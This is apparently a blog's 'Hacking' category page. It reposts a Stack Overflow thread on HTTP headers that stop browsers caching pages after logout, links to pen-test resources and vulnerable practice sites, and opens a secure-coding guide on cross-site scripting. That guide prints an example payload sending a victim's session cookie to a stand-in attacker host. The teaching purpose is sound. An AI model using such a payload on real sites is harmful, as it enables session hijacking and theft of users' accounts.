'Hacking'에 해당되는 글 266건

  1. 2014.01.31 Making sure a web page is not cached, across all browsers by CEOinIRVINE
  2. 2013.12.03 pen test poster (mind map) vulnerable practice sites, OS builds, web apps by CEOinIRVINE
  3. 2013.12.02 Web Vulnerable Test Sites by CEOinIRVINE
  4. 2013.10.09 wifi password cracker by CEOinIRVINE
  5. 2013.09.21 Secure Coding by CEOinIRVINE
  6. 2013.07.24 script by CEOinIRVINE
  7. 2013.07.19 CVE-2013-2251 Apache Struts2 Remote Shell Exploit by CEOinIRVINE 1
  8. 2013.07.18 unlock android password by CEOinIRVINE
  9. 2013.07.11 salted password hashing by CEOinIRVINE
  10. 2013.07.11 Stealing saved passwords from your friend’s laptop by CEOinIRVINE

Our investigations have shown us that not all browsers respect the http cache directives in a uniform manner.

For security reasons we do not want certain pages in our application to cached, ever, by the web browser. This must work for at least the following browsers:

  • Internet Explorer versions 6-8
  • Firefox versions 1.5 - 3.0
  • Safari version 3
  • Opera 9

Our requirement came from a security test. After logging out from our website you could press the back button and view cached pages.

share|improve this question
add comment

19 Answers

up vote 443 down vote accepted

The correct minimum set of headers that works across all mentioned browsers:

Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: 0

Using PHP:

header('Cache-Control: no-cache, no-store, must-revalidate'); // HTTP 1.1.
header('Pragma: no-cache'); // HTTP 1.0.
header('Expires: 0'); // Proxies.

Using Java Servlet:

response.setHeader("Cache-Control", "no-cache, no-store, must-revalidate"); // HTTP 1.1.
response.setHeader("Pragma", "no-cache"); // HTTP 1.0.
response.setDateHeader("Expires", 0); // Proxies.

Using ASP.NET:

Response.AppendHeader("Cache-Control", "no-cache, no-store, must-revalidate"); // HTTP 1.1.
Response.AppendHeader("Pragma", "no-cache"); // HTTP 1.0.
Response.AppendHeader("Expires", "0"); // Proxies.

Using ASP:

Response.addHeader "Cache-Control", "no-cache, no-store, must-revalidate" ' HTTP 1.1.
Response.addHeader "Pragma", "no-cache" ' HTTP 1.0.
Response.addHeader "Expires", "0" ' Proxies.

Using Ruby on Rails:

response.headers["Cache-Control"] = "no-cache, no-store, must-revalidate" // HTTP 1.1.
response.headers["Pragma"] = "no-cache" // HTTP 1.0.
response.headers["Expires"] = "0" // Proxies.

Using Google Go:

responseWriter.Header().Set("Cache-Control", "no-cache, no-store, must-revalidate") // HTTP 1.1.
responseWriter.Header().Set("Pragma", "no-cache") // HTTP 1.0.
responseWriter.Header().Set("Expires", "0") // Proxies

Using HTML:

<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Expires" content="0" />

The Cache-Control is per the HTTP 1.1 spec for clients (and implicitly required by some browsers next to Expires), the Pragma is per the HTTP 1.0 spec for clients and proxies and Expires is per the HTTP 1.1 spec for clients and proxies. Other Cache-Control parameters are irrelevant if the abovementioned three are specified. The Last-Modified header as included in most other answers here is only intersting if you actually want to cache the request, so you don't need to specify it at all.

Note that when the page is served over HTTP and a header is present in both the HTTP response headers and the HTML meta tags, then the one specified in the response header will get precedence over the HTML meta tag. The HTML meta tag will only be used when the page is viewed from local disk file system. See also W3 HTML spec chapter 5.2.2. Take care with this when you don't specify them programmatically, because the webserver can namely include some default values. To verify the one and other, you can see/debug them using Firebug Net panel.

Viewing the response headers on the Firebug Net panel

share|improve this answer
6
This does not appear to be complete. I tried this solution on IE 8 and found that the browser will load a cached version when you hit the back button.Mike Ottum Jan 15 '10 at 2:26
6
Likely your testing methodology was wrong. Maybe the page was already in the cache? Maybe the headers were incorrect/overriden? Maybe you were looking at the wrong request? Etc..BalusC Jan 15 '10 at 3:38
5
Actually, I confirm that this approach is incomplete and causes issues with IE8, or at least in some circumstances. Specifically, when using IE8 to fetch a resource over SSL, IE8 will refuse to fetch the resource a second time (either at all, or after a first try, depending on headers used). See EricLaw's blog, for instance.haylem Oct 2 '12 at 22:46
1
I'd like to add that this is essentially what Bank of America does. If you look at their response headers and translate that into aspx, they're doing: Response.AppendHeader("Cache-Control", "no-cache, no-store, must-revalidate"); Response.AppendHeader("Expires", "Thu, 01 Dec 1994 16:00:00 GMT"); I figure, if it's good enough for them, it's good enough for me.John Feb 12 '13 at 16:14
1
@John: That expires header is exactly the example value in HTTP 1.0 specification. It works, but it's somewhat ridiculous to take exactly that timestamp.BalusC Feb 12 '13 at 16:18
show 27 more comments

(hey, everyone: please don't just mindlessly copy&paste all headers you can find)

First of all, what you're trying to achieve should not be possible according to HTTP spec, because Back button history is not a cache:

History mechanisms and caches are different. In particular history mechanisms SHOULD NOT try to show a semantically transparent view of the current state of a resource. Rather, a history mechanism is meant to show exactly what the user saw at the time when the resource was retrieved.

Back is supposed to go back in time (to the time when user was logged in), it does not navigate forward to previously opened URL.

However, it is possible in practice, exactly due to "back after logout" panic. It works reliably in very specific circumstances:

  • Page must be delivered over HTTPS. If you're not using HTTPS, then don't bother — it won't be reliable, and your page already has a bigger security problem.
  • You must send Cache-Control: must-revalidate

You never need any of:

  • <meta> with cache headers — it doesn't work at all. Totally useless.
  • post-check/pre-check — it's IE-only directive that only applies to cachable resources.
  • Sending same header twice or in dozen parts. Some of the worst PHP snippets out there actually replace previous headers, resulting in only last one being sent.

If you want, you could add:

  • no-store if you're sending security-sensitive information.
  • no-cache or max-age=0, which will make resource (URL) "stale" and require browsers to check with the server if there's a newer version (must-revalidate already implies this even stronger).
  • Expires with date in the past for HTTP/1.0 clients (although real HTTP/1.0-only clients are probably non-existent these days).
share|improve this answer
will this have any side-effect on the performance of the website in terms of loading time ? how no-store , no-cache , must-revalidate affect performance ?Raman Ghai May 22 '13 at 14:43
@RamanGhai Disabling cache generally hurts performance (and all 3 options you've mentioned disable caching). It may make CDNs and ISP proxies (e.g. commonly used by mobile operators) ineffective. It doesn't hurt first load by a new user (aside from the proxy issue), but then subsequent navigation may be a lot slower.porneL May 22 '13 at 16:01
@porneL you state that we must send Cache-Control: must-revalidate. Why not send Cache-Control: no-cache since no-cache already implies must-revalidate? w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9.1Pacerier Aug 25 '13 at 19:15
1
@Pacerier the relationship of no-cache with must-revalidate is true for cache, but back history is not a cache. Browsers special-case explicit must-revalidate to control history behavior.porneL Aug 27 '13 at 17:29
@porneL, Hmm is there a supporting RFC that states that's the desired behavior?Pacerier Aug 29 '13 at 3:35
show 1 more comment

As porneL stated, what you want is not to deactivate the cache, but to deactivate the history buffer. Different browsers have their own subtle ways to disable the history buffer.

In Chrome (v28.0.1500.95 m) we can do this only by Cache-Control: no-store.

In FireFox (v23.0.1) any one of these will work:

  1. Cache-Control: no-store

  2. Cache-Control: no-cache (https only)

  3. Pragma: no-cache (https only)

  4. Vary: * (https only)

In Opera (v12.15) we only can do this by Cache-Control: must-revalidate (https only).

In Safari (v5.1.7, 7534.57.2) any one of these will work:

  1. Cache-Control: no-store
    <body onunload=""> in html

  2. Cache-Control: no-store (https only)

In IE8 (v8.0.6001.18702IC) any one of these will work:

  1. Cache-Control: must-revalidate, max-age=0

  2. Cache-Control: no-cache

  3. Cache-Control: no-store

  4. Cache-Control: must-revalidate
    Expires: 0

  5. Cache-Control: must-revalidate
    Expires: Sat, 12 Oct 1991 05:00:00 GMT

  6. Pragma: no-cache (https only)

  7. Vary: * (https only)

Combining the above gives us this solution which works for Chrome 28, FireFox 23, IE8, Safari 5.1.7, and Opera 12.15: Cache-Control: no-store, must-revalidate (https only)

Note that https is needed because Opera wouldn't deactivate history buffer for plain http pages. If you really can't get https and you are prepared to ignore Opera, the best you can do is this:

Cache-Control: no-store
<body onunload="">

Below shows the raw logs of my tests:

HTTP:

  1. Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, s-maxage=0
    Expires: 0
    Pragma: no-cache
    Vary: *
    <body onunload="">
    Fail: Opera 12.15
    Success: Chrome 28, FireFox 23, IE8, Safari 5.1.7

  2. Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, s-maxage=0
    Expires: Sat, 12 Oct 1991 05:00:00 GMT
    Pragma: no-cache
    Vary: *
    <body onunload="">
    Fail: Opera 12.15
    Success: Chrome 28, FireFox 23, IE8, Safari 5.1.7

  3. Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, s-maxage=0
    Expires: 0
    Pragma: no-cache
    Vary: *
    Fail: Safari 5.1.7, Opera 12.15
    Success: Chrome 28, FireFox 23, IE8

  4. Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, s-maxage=0
    Expires: Sat, 12 Oct 1991 05:00:00 GMT
    Pragma: no-cache
    Vary: *
    Fail: Safari 5.1.7, Opera 12.15
    Success: Chrome 28, FireFox 23, IE8

  5. Cache-Control: private, no-cache, must-revalidate, max-age=0, proxy-revalidate, s-maxage=0
    Expires: 0
    Pragma: no-cache
    Vary: *
    <body onunload="">
    Fail: Chrome 28, FireFox 23, Safari 5.1.7, Opera 12.15
    Success: IE8

  6. Cache-Control: private, no-cache, must-revalidate, max-age=0, proxy-revalidate, s-maxage=0
    Expires: Sat, 12 Oct 1991 05:00:00 GMT
    Pragma: no-cache
    Vary: *
    <body onunload="">
    Fail: Chrome 28, FireFox 23, Safari 5.1.7, Opera 12.15
    Success: IE8

  7. Cache-Control: private, no-cache, must-revalidate, max-age=0, proxy-revalidate, s-maxage=0
    Expires: 0
    Pragma: no-cache
    Vary: *
    <body onunload="">
    Fail: Chrome 28, FireFox 23, Safari 5.1.7, Opera 12.15
    Success: IE8

  8. Cache-Control: private, no-cache, must-revalidate, max-age=0, proxy-revalidate, s-maxage=0
    Expires: Sat, 12 Oct 1991 05:00:00 GMT
    Pragma: no-cache
    Vary: *
    <body onunload="">
    Fail: Chrome 28, FireFox 23, Safari 5.1.7, Opera 12.15
    Success: IE8

  9. Cache-Control: no-store
    Fail: Safari 5.1.7, Opera 12.15
    Success: Chrome 28, FireFox 23, IE8

  10. Cache-Control: no-store
    <body onunload="">
    Fail: Opera 12.15
    Success: Chrome 28, FireFox 23, IE8, Safari 5.1.7

  11. Cache-Control: no-cache
    Fail: Chrome 28, FireFox 23, Safari 5.1.7, Opera 12.15
    Success: IE8

  12. Vary: *
    Fail: Chrome 28, FireFox 23, IE8, Safari 5.1.7, Opera 12.15
    Success: none

  13. Pragma: no-cache
    Fail: Chrome 28, FireFox 23, IE8, Safari 5.1.7, Opera 12.15
    Success: none

  14. Cache-Control: private, no-cache, must-revalidate, max-age=0, proxy-revalidate, s-maxage=0
    Expires: Sat, 12 Oct 1991 05:00:00 GMT
    Pragma: no-cache
    Vary: *
    <body onunload="">
    Fail: Chrome 28, FireFox 23, Safari 5.1.7, Opera 12.15
    Success: IE8

  15. Cache-Control: private, no-cache, must-revalidate, max-age=0, proxy-revalidate, s-maxage=0
    Expires: 0
    Pragma: no-cache
    Vary: *
    <body onunload="">
    Fail: Chrome 28, FireFox 23, Safari 5.1.7, Opera 12.15
    Success: IE8

  16. Cache-Control: must-revalidate, max-age=0
    Fail: Chrome 28, FireFox 23, Safari 5.1.7, Opera 12.15
    Success: IE8

  17. Cache-Control: must-revalidate
    Expires: 0
    Fail: Chrome 28, FireFox 23, Safari 5.1.7, Opera 12.15
    Success: IE8

  18. Cache-Control: must-revalidate
    Expires: Sat, 12 Oct 1991 05:00:00 GMT
    Fail: Chrome 28, FireFox 23, Safari 5.1.7, Opera 12.15
    Success: IE8

  19. Cache-Control: private, must-revalidate, proxy-revalidate, s-maxage=0
    Pragma: no-cache
    Vary: *
    <body onunload="">
    Fail: Chrome 28, FireFox 23, IE8, Safari 5.1.7, Opera 12.15
    Success: none

HTTPS:

  1. Cache-Control: private, max-age=0, proxy-revalidate, s-maxage=0
    Expires: 0
    <body onunload="">
    Fail: Chrome 28, FireFox 23, IE8, Safari 5.1.7, Opera 12.15
    Success: none

  2. Cache-Control: private, max-age=0, proxy-revalidate, s-maxage=0
    Expires: Sat, 12 Oct 1991 05:00:00 GMT
    <body onunload="">
    Fail: Chrome 28, FireFox 23, IE8, Safari 5.1.7, Opera 12.15
    Success: none

  3. Vary: *
    Fail: Chrome 28, Safari 5.1.7, Opera 12.15
    Success: FireFox 23, IE8

  4. Pragma: no-cache
    Fail: Chrome 28, Safari 5.1.7, Opera 12.15
    Success: FireFox 23, IE8

  5. Cache-Control: no-cache
    Fail: Chrome 28, Safari 5.1.7, Opera 12.15
    Success: FireFox 23, IE8

  6. Cache-Control: private, no-cache, max-age=0, proxy-revalidate, s-maxage=0
    Fail: Chrome 28, Safari 5.1.7, Opera 12.15
    Success: FireFox 23, IE8

  7. Cache-Control: private, no-cache, max-age=0, proxy-revalidate, s-maxage=0
    Expires: 0
    Pragma: no-cache
    Vary: *
    Fail: Chrome 28, Safari 5.1.7, Opera 12.15
    Success: FireFox 23, IE8

  8. Cache-Control: private, no-cache, max-age=0, proxy-revalidate, s-maxage=0
    Expires: Sat, 12 Oct 1991 05:00:00 GMT
    Pragma: no-cache
    Vary: *
    Fail: Chrome 28, Safari 5.1.7, Opera 12.15
    Success: FireFox 23, IE8

  9. Cache-Control: must-revalidate
    Fail: Chrome 28, FireFox 23, IE8, Safari 5.1.7
    Success: Opera 12.15

  10. Cache-Control: private, must-revalidate, proxy-revalidate, s-maxage=0
    <body onunload="">
    Fail: Chrome 28, FireFox 23, IE8, Safari 5.1.7
    Success: Opera 12.15

  11. Cache-Control: must-revalidate, max-age=0
    Fail: Chrome 28, FireFox 23, Safari 5.1.7
    Success: IE8, Opera 12.15

  12. Cache-Control: private, no-cache, must-revalidate, max-age=0, proxy-revalidate, s-maxage=0
    Expires: Sat, 12 Oct 1991 05:00:00 GMT
    Pragma: no-cache
    Vary: *
    <body onunload="">
    Fail: Chrome 28, Safari 5.1.7
    Success: FireFox 23, IE8, Opera 12.15

  13. Cache-Control: private, no-cache, must-revalidate, max-age=0, proxy-revalidate, s-maxage=0
    Expires: 0
    Pragma: no-cache
    Vary: *
    <body onunload="">
    Fail: Chrome 28, Safari 5.1.7
    Success: FireFox 23, IE8, Opera 12.15

  14. Cache-Control: no-store
    Fail: Opera 12.15
    Success: Chrome 28, FireFox 23, IE8, Safari 5.1.7

  15. Cache-Control: private, no-cache, no-store, max-age=0, proxy-revalidate, s-maxage=0
    Expires: 0
    Pragma: no-cache
    Vary: *
    <body onunload="">
    Fail: Opera 12.15
    Success: Chrome 28, FireFox 23, IE8, Safari 5.1.7

  16. Cache-Control: private, no-cache, no-store, max-age=0, proxy-revalidate, s-maxage=0
    Expires: Sat, 12 Oct 1991 05:00:00 GMT
    Pragma: no-cache
    Vary: *
    <body onunload="">
    Fail: Opera 12.15
    Success: Chrome 28, FireFox 23, IE8, Safari 5.1.7

  17. Cache-Control: private, no-cache
    Expires: Sat, 12 Oct 1991 05:00:00 GMT
    Pragma: no-cache
    Vary: *
    Fail: Chrome 28, Safari 5.1.7, Opera 12.15
    Success: FireFox 23, IE8

  18. Cache-Control: must-revalidate
    Expires: 0
    Fail: Chrome 28, FireFox 23, Safari 5.1.7,
    Success: IE8, Opera 12.15

  19. Cache-Control: must-revalidate
    Expires: Sat, 12 Oct 1991 05:00:00 GMT
    Fail: Chrome 28, FireFox 23, Safari 5.1.7,
    Success: IE8, Opera 12.15

  20. Cache-Control: private, must-revalidate, max-age=0, proxy-revalidate, s-maxage=0
    Expires: 0
    <body onunload="">
    Fail: Chrome 28, FireFox 23, Safari 5.1.7,
    Success: IE8, Opera 12.15

  21. Cache-Control: private, must-revalidate, max-age=0, proxy-revalidate, s-maxage=0
    Expires: Sat, 12 Oct 1991 05:00:00 GMT
    <body onunload="">
    Fail: Chrome 28, FireFox 23, Safari 5.1.7,
    Success: IE8, Opera 12.15

  22. Cache-Control: private, must-revalidate
    Expires: Sat, 12 Oct 1991 05:00:00 GMT
    Pragma: no-cache
    Vary: *
    Fail: Chrome 28, Safari 5.1.7
    Success: FireFox 23, IE8, Opera 12.15

  23. Cache-Control: no-store, must-revalidate
    Fail: none
    Success: Chrome 28, FireFox 23, IE8, Safari 5.1.7, Opera 12.15

share|improve this answer
add comment

After a bit of research we came up with the following list of headers that seemed to cover most browsers:

In ASP.NET we added these using the following snippet:

Response.ClearHeaders(); 
Response.AppendHeader("Cache-Control", "no-cache"); //HTTP 1.1
Response.AppendHeader("Cache-Control", "private"); // HTTP 1.1
Response.AppendHeader("Cache-Control", "no-store"); // HTTP 1.1
Response.AppendHeader("Cache-Control", "must-revalidate"); // HTTP 1.1
Response.AppendHeader("Cache-Control", "max-stale=0"); // HTTP 1.1 
Response.AppendHeader("Cache-Control", "post-check=0"); // HTTP 1.1 
Response.AppendHeader("Cache-Control", "pre-check=0"); // HTTP 1.1 
Response.AppendHeader("Pragma", "no-cache"); // HTTP 1.0 
Response.AppendHeader("Expires", "Mon, 26 Jul 1997 05:00:00 GMT"); // HTTP 1.0

Found from: http://forums.asp.net/t/1013531.aspx

share|improve this answer
7
Answered your own question in three minutes. Congrats! That must be a stackoverflow.com record.Stu Thompson Sep 8 '08 at 12:20
20
@bart: Even more troublesome yet is that the 26th of July in 1997 was a Saturday, not a Monday...Cory Feb 13 '12 at 19:51
3
Cache-Control: no-cache and Cache-Control: private clash - you should never get both together: the former tells browsers and proxies not to cache at all, the latter tells proxies not to cache but lets browsers hold their own private copy. I'm not sure which setting the browser will follow, but it's unlikely to be consistent between browsers and versions.Keith Oct 29 '12 at 11:48
1
@Edward, tested and doesn't work on Safari 5.1.7 and OperaPacerier Aug 29 '13 at 4:45
add comment

I found that all of the answers on this page still had problems. In particular, I noticed that none of them would stop IE8 from using a cached version of the page when you accessed it by hitting the back button.

After much research and testing, I found that the only two headers I really needed were:

Cache-Control: no-store
Vary: *

For an explanation of the Vary header, check out http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html#sec13.6

On IE6-8, FF1.5-3.5, Chrome 2-3, Safari 4, and Opera 9-10, these headers caused the page to be requested from the server when you click on a link to the page, or put the URL directly in the address bar. That covers about 99% of all browsers in use as of Jan '10.

On IE6, and Opera 9-10, hitting the back button still caused the cached version to be loaded. On all other browsers I tested, they did fetch a fresh version from the server. So far, I haven't found any set of headers that will cause those browsers to not return cached versions of pages when you hit the back button.

Update: After writing this answer, I realized that our web server is identifying itself as an HTTP 1.0 server. The headers I've listed are the correct ones in order for responses from an HTTP 1.0 server to not be cached by browsers. For an HTTP 1.1 server, look at BalusC's answer.

share|improve this answer
1
This works for IE8's back button!! AFter trying everything in every other suggestion, adding the "Vary: *" header is apparently the only thing that can force IE8 to reload the page when the user presses the back button. And this does work on HTTP/1.1 servers.CoreDumpError Mar 22 '13 at 21:38
Combined with the headers suggested by BarlusC, plus a JS snippet that calls window.location.reload() when the onPageShow event triggers with the "persisted" attribute (needed for Safari), every browser I've tested successfully forces a reload from the server when the user uses the Back button.CoreDumpError Mar 22 '13 at 21:46
@CoreDumpError, oh you should not assume JavaScript is enabled.Pacerier Aug 25 '13 at 19:55
@Chris, just tested. It doesn't work on Safari 5.1.7 and Opera...Pacerier Aug 29 '13 at 4:32
@Pacerier At the time I wrote the answer in 2010, this worked on what were then the latest versions of both Safari and Opera, with our server identifying itself as an HTTP 1.0 server. Unfortunately, I don't have any way to easily test this anymore, so I can't say anything definitive about the latest versions of these browsers.Chris Vasselli Aug 31 '13 at 0:45
show 2 more comments

DISCLAIMER: I strongly suggest reading @BalusC's answer. After reading the following caching tutorial: http://www.mnot.net/cache_docs/ (I recommend you read it, too), I believe it to be correct. However, for historical reasons (and because I have tested it myself), I will include my original answer below:


I tried the 'accepted' answer for PHP, which did not work for me. Then I did a little research, found a slight variant, tested it, and it worked. Here it is:

header('Cache-Control: no-store, private, no-cache, must-revalidate');     // HTTP/1.1
header('Cache-Control: pre-check=0, post-check=0, max-age=0, max-stale = 0', false);  // HTTP/1.1
header('Pragma: public');
header('Expires: Sat, 26 Jul 1997 05:00:00 GMT');                  // Date in the past  
header('Expires: 0', false); 
header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');
header ('Pragma: no-cache');

That should work. The problem was that when setting the same part of the header twice, if the false is not sent as the second argument to the header function, header function will simply overwrite the previous header() call. So, when setting the Cache-Control, for example if one does not want to put all the arguments in one header() function call, he must do something like this:

header('Cache-Control: this');
header('Cache-Control: and, this', false);

See more complete documentation here.

share|improve this answer
10
This is full of myths. pre-check and post-check are IE-only, relevant only for cached responses, and 0 value is a no-op. max-stale is proxy request header, not server response header. Expires accepts only single value. More than one will cause this header to be ignored.porneL Oct 19 '08 at 18:19
1
@porneL, will you be submitting a competing answer that deals with these myths correctly?Oddthinking Nov 28 '08 at 1:56
4
Holy headers batman!Chad Grant May 1 '09 at 8:39
@Oddthinking, looks like stackoverflow.com/questions/49547/… is a competing answer.Mike Ottum Jan 14 '10 at 23:55
@Steven, just tested. It doesn't work on Safari 5.1.7 and Opera...Pacerier Aug 29 '13 at 4:34
show 1 more comment

There's a bug in IE6

Content with "Content-Encoding: gzip" is always cached even if you use "Cache-Control: no-cache".

http://support.microsoft.com/kb/321722

You can disable gzip compression for IE6 users (check the user agent for "MSIE 6")

share|improve this answer
add comment

These directives does not mitigate any security risk. They are really intended to force UA's to refresh volatile information, not keep UA's from being retaining information. See this similar question. At the very least, there is no guarantee that any routers, proxies, etc. will not ignore the caching directives as well.

On a more positive note, policies regarding physical access to computers, software installation, and the like will put you miles ahead of most firms in terms of security. If the consumers of this information are members of the public, the only thing you can really do is help them understand that once the information hits their machine, that machine is their responsibility, not yours.

share|improve this answer
add comment

The PHP documentation for the header function has a rather complete example (contributed by a third party):

    header('Pragma: public');
    header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");                  // Date in the past   
    header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');
    header('Cache-Control: no-store, no-cache, must-revalidate');     // HTTP/1.1
    header('Cache-Control: pre-check=0, post-check=0, max-age=0', false);    // HTTP/1.1
    header ("Pragma: no-cache");
    header("Expires: 0", false);
share|improve this answer
11
This is obviously wrong. Second calls to header() for Expires, Cache-control and Pragma completely overwrite previously set values.porneL Oct 19 '08 at 18:22
@porneL: No the do not overwrite previously set values as he pass false as a 2nd parameter, telling to not override previous values.Julien Palard Feb 14 '13 at 10:52
@JulienPalard the answer has been edited after I made my comment. It still doesn't make much sense.porneL Feb 15 '13 at 10:31
add comment

The use of the pragma header in the response is a wives tale. RFC2616 only defines it as a request header

http://www.mnot.net/cache_docs/#PRAGMA

share|improve this answer
2
This is a good example of why you need to go beyond the specs. If the specs were always crystal clear, there wouldn't be much point for sites like StackOverflow. From Microsoft For purposes of backward compatibility with HTTP 1.0 servers, Internet Explorer supports a special usage of the HTTP Pragma: no-cache header. If the client communicates with the server over a secure connection (https://) and the server returns a Pragma: no-cache header with the response, Internet Explorer does not cache the response.michaelok Jul 10 '12 at 18:42
add comment

If you're facing download problems with IE6-IE8 over SSL and cache:no-cache header (and similar values) with MS Office files you can use cache:private,no-store header and return file on POST request. It works.

share|improve this answer
add comment

in my case i fix the problem in chrome with this

<form id="form1" runat="server" autocomplete="off">

where i need to clear the content of a previus form data when the users click button back for security reasons

share|improve this answer
My mozilla 19.x browser issue also got resolved by the code snippet. autocomplete="off". Thank you.Satya Nov 22 '13 at 7:33
add comment

The RFC for HTTP 1.1 says the proper method is to add an HTTP Header for:

Cache-Control: no-cache

Older browsers may ignore this if they are not properly compliant to HTTP 1.1. For those you can try the header:

Pragma: no-cache

This is also supposed to work for HTTP 1.1 browsers.

share|improve this answer
The spec indicates that the response must not be reused without revalidation. It is the Cache-Control:no-store which is the official method to indicate that the response not even be stored in a cache in the first place.AnthonyWJones Sep 19 '08 at 18:14
add comment

Setting the modified http header to some date in 1995 usually does the trick.

Here's an example:

Expires: Wed, 15 Nov 1995 04:58:08 GMT
Last-Modified: Wed, 15 Nov 1995 04:58:08 GMT
Cache-Control: no-cache, must-revalidate
share|improve this answer
2
voted down cos 1995 is not in 1950 :-)Simon_Weaver Nov 19 '08 at 1:33
@Anders, just tested. It doesn't work on Safari 5.1.7 and Opera...Pacerier Aug 29 '13 at 4:41
add comment

I found the web.config route useful (tried to add it to the answer but doesn't seem to have been accepted so posting here)

<configuration><system.webServer><httpProtocol><customHeaders>
  <add name="Cache-Control" value="no-cache, no-store, must-revalidate" /><!-- HTTP 1.1. -->
  <add name="Pragma" value="no-cache" /><!-- HTTP 1.0. -->
  <add name="Expires" value="0" /><!-- Proxies. -->
</customHeaders></httpProtocol></system.webServer></configuration>

And here is the express / node.js way of doing the same:

app.use(function(req, res, next) {
    res.setHeader('Cache-Control', 'no-cache, no-store, must-revalidate');
    res.setHeader('Pragma', 'no-cache');
    res.setHeader('Expires', '0');
    next();
});
share|improve this answer
add comment

I've had best and most consistent results across all browsers by setting Pragma: no-cache

share|improve this answer
add comment

In addition to the headers consider serving your page via https. Many browsers will not cache https by default.

share|improve this answer
add comment

The headers in the answer provided by BalusC does not prevent Safari 5 (and possibly older versions as well) from displaying content from the browser cache when using the browser's back button. A way to prevent this is to add an empty onunload event handler attribute to the body tag:

<body onunload=""> 

This hack apparently breaks the back-forward cache in Safari: Cross-browser onload event and the Back button

share|improve this answer
Cool, I've tested it and this actually works on Safari (5.1.7) but not Opera.Pacerier Aug 29 '13 at 4:59
add comment
//In .net MVC
[OutputCache(NoStore = true, Duration = 0, VaryByParam = "*")]
public ActionResult FareListInfo(long id)
{
}

// In .net webform
<%@ OutputCache NoStore="true" Duration="0" VaryByParam="*" %>

 

Posted by CEOinIRVINE
l

I just stumbled across the SANS pen test poster the other day, and it has a pretty good mindmap of various vulnerable practice sites, OS builds, web apps, etc:

https://blogs.sans.org/pen-testing/files/2013/06/PosterSide1.png

 

Side 2 of the poster, just for funsies:

https://blogs.sans.org/pen-testing/files/2013/06/Poster_Summer_2013-back.png

 

Posted by CEOinIRVINE
l

Web Vulnerable Test Sites

Hacking 2013. 12. 2. 23:26


 

If you want to keep your web app pen test skills sharp during your down time and not get into legal trouble while doing so, you might find value in these websites.  These sites are full-fledged web applications that are live and vulnerable by design.  They are good to test you sql injection, XSS, CSRF attack skills and more.   

 

The last site on the list isn’t a live site per se, but more of an online sandbox that you can choose and create some of the vulnerable web apps available like webgoat, DVWA, Mutillidae, etc.

 

 

Crackme Bank  http://crackme.cenzic.com/Kelev/view/home.php

 http://zero.webappsecurity.com/

http://demo.testfire.net/

http://www.Freebank.com

http://testasp.vulnweb.com/    

http://testaspnet.vulnweb.com/

http://testphp.vulnweb.com/

http://webscantest.com

https://hack.me

'Hacking' 카테고리의 다른 글

Making sure a web page is not cached, across all browsers  (0) 2014.01.31
pen test poster (mind map) vulnerable practice sites, OS builds, web apps  (0) 2013.12.03
wifi password cracker  (0) 2013.10.09
Secure Coding  (0) 2013.09.21
script  (0) 2013.07.24
Posted by CEOinIRVINE
l

wifi password cracker

Hacking 2013. 10. 9. 03:53

'Hacking' 카테고리의 다른 글

pen test poster (mind map) vulnerable practice sites, OS builds, web apps  (0) 2013.12.03
Web Vulnerable Test Sites  (0) 2013.12.02
Secure Coding  (0) 2013.09.21
script  (0) 2013.07.24
CVE-2013-2251 Apache Struts2 Remote Shell Exploit  (1) 2013.07.19
Posted by CEOinIRVINE
l

Secure Coding

Hacking 2013. 9. 21. 02:58

Secure Coding Cross Site Scripting


Contents

 [hide

Cross-Site Scripting (XSS)


What is it?

Cross-site scripting is a vulnerability that occurs when an attacker can insert unauthorized JavaScript, VBScript, HTML, or other active content into a web page viewed by other users. A malicious script inserted into a page in this manner can hijack the user’s session, submit unauthorized transactions as the user, steal confidential information, or simply deface the page. Cross-site scripting is one of the most serious and most common attacks against web applications today.

XSS allows malicious users to control the content and code on your site — something only you should be able to do!

Sample vulnerability

Consider a web application with a search feature. The user sends their query as a GET parameter, and the page displays the parameter in the page:

Request: http://example.com/search?q=apples

Response: “You searched for: apples

An XSS attack could take place if the user were visiting another site that included the following code:

1<iframe
2src="<a rel="nofollow" class="external free" href="http://example.com/search?q=">http://example.com/search?q=</a><script>document.location='http://cybervillians.com/?session='+document.cookie</script>">

The user’s browser will load the iframe by requesting http://example.com/search?q=<script>.... In response, example.com will echo back You searched for “<script>document.location='http://cybervillians.com/?session='+document.cookie</script>”. Unfortunately, the victim’s browser will interpret the script as code, not as text, and then execute the script in the context of the user’s session with example.com! It will be as if example.com developers had written their page that way.

In this case, the attack payload sends the value of document.cookie (that is, the user’s example.com cookie) to the attacker’s web site (cybervillains.com). However, there is essentially no limit to the payloads the attacker could have provided. Anything example.com developers can do with HTML and JavaScript, the attacker can also do.

Is my application vulnerable?

Cross-site scripting is one of the most common security vulnerabilities in web sites. Estimates of the percentage of web sites vulnerable to XSS range from 50% to as high as 80%. Most applications that do not have an explicit and uniformly applied set of input validators and output encoders designed to prevent XSS will have vulnerabilities.

How can I test my application?

You can perform a few simple tests to see if your application is vulnerable, but do not get overconfident if you do not discover a vulnerability immediately. Any XSS vulnerability anywhere on your web site can completely compromise the security of your users. Salesforce.com highly recommends using a web application security scanning tool to perform comprehensive testing for XSS across your entire web site.

Burp Suite Professional provides good capabilities, including XSS scanning, at a reasonable price. Information on using the Burp Scanner feature of the suite to test for XSS is available in the help file at http://portswigger.net/scanner/help.html.

The most basic test payload for XSS is a simple script that displays a browser pop-up if the site is vulnerable. Try submitting the string <script>alert('XSS');</script> for any form input that is later displayed by the application. If you don’t see the popup, look at the source for the page where the input is displayed. Are the angle-brackets encoded (&lt; and &gt;)? Is the script simply not in the correct context in the page to execute?

